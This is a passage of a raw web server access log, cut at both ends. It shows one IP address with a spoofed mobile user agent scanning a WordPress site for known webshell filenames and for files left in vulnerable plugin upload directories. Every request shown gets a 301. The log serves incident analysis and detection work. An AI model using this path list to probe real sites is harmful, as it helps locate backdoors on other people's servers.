SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:35:51 +0330] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:36:11 +0330] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:36:18 +0330] "GET /goat.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:00:43 +0330] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:00:46 +0330] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:00:47 +0330] "GET /cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:00:50 +0330] "GET /css/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:00:54 +0330] "GET /img/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:12 +0330] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:18 +0330] "GET /wp-login.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:22 +0330] "GET /max.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:23 +0330] "GET /wso-x569.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:23 +0330] "GET /fm1.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:24 +0330] "GET /4price3.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:25 +0330] "GET /ioxi-rex.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:26 +0330] "GET /ioxi2.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:34 +0330] "GET /wp-includes/js/js.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:36 +0330] "GET /million.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:00:42 +0330] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:00:49 +0330] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:00:51 +0330] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:00:56 +0330] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:00:56 +0330] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:00 +0330] "GET /images/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:01 +0330] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:04 +0330] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:16 +0330] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:17 +0330] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:20 +0330] "GET /wp-cron.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:21 +0330] "GET /wp-admin/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:21 +0330] "GET /revision.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:26 +0330] "GET /wp-admin/css/colors/blue/ioxi1.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:35 +0330] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:40 +0330] "GET /.well-known/acme-challenge/bala.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:42 +0330] "GET /wp-content/uploads/bala.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:43 +0330] "GET /wp-includes/bala.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:45 +0330] "GET /wp-admin/bala.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:46 +0330] "GET /wp-content/themes/bala.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:50 +0330] "GET /.well-known/bala.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:50 +0330] "GET /wp-content/themes/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:51 +0330] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:58 +0330] "GET /wp-content/uploads/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:02:00 +0330] "GET /wp-content/plugins/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:02:02 +0330] "GET /.well-known/acme-challenge/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:02:03 +0330] "GET /.well-knownold/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:02:04 +0330] "GET /.well-known/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:02:08 +0330] "GET /wp-content/themes/wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:37 +0330] "GET /4pric.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:38 +0330] "GET /404.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:38 +0330] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:39 +0330] "GET /.well-knownold/bala.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:41 +0330] "GET /.well-known/pkivalidation/bala.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:41 +0330] "GET /wp-content/plugins/bala.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:43 +0330] "GET /wp-content/bala.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:55 +0330] "GET /wp-includes/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:01:56 +0330] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:02:01 +0330] "GET /.well-known/pkivalidation/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:02:09 +0330] "GET /wp-includes/wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:02:10 +0330] "GET /wp-content/wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:02:10 +0330] "GET /wp-content/uploads/wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:03:08 +0330] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:03:09 +0330] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:02:08 +0330] "GET /wp-admin/wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:03:08 +0330] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:03:12 +0330] "GET /wp-content/uploads/wp_live_chat/abruzi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:03:13 +0330] "GET /wp-content/plugins/wp-file-manager/lib/files/a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:03:14 +0330] "GET /wp-content/plugins/wp-file-manager/lib/files/abruzi.php4 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:03:14 +0330] "GET /wp-content/plugins/wp-file-manager/lib/files/abruzi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:03:16 +0330] "GET /wp-content/plugins/wp-file-manager/lib/files/king.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:03:18 +0330] "GET /wp-content/plugins/wp-file-manager/lib/files/xo.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:03:19 +0330] "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/xo.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:03:20 +0330] "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:03:28 +0330] "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/abruzi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:03:29 +0330] "GET /wp-content/plugins/formcraft/file-upload/server/php/files/abruzi.php4 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:03:10 +0330] "GET /wp-content/themes/gaukingo/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:03:10 +0330] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:03:11 +0330] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:03:12 +0330] "GET /wp-content/plugins/ioptimizations/IOptimizes.php?hamlorszd HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:03:18 +0330] "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/king.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:03:20 +0330] "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/abruzi.php4 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:03:30 +0330] "GET /wp-content/plugins/formcraft/file-upload/server/php/files/king.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:03:31 +0330] "GET /wp-content/plugins/formcraft/file-upload/server/php/files/abruzi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:19:36 +0330] "GET /wp-includes/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:19:41 +0330] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:19:43 +0330] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:19:44 +0330] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:19:45 +0330] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:19:46 +0330] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 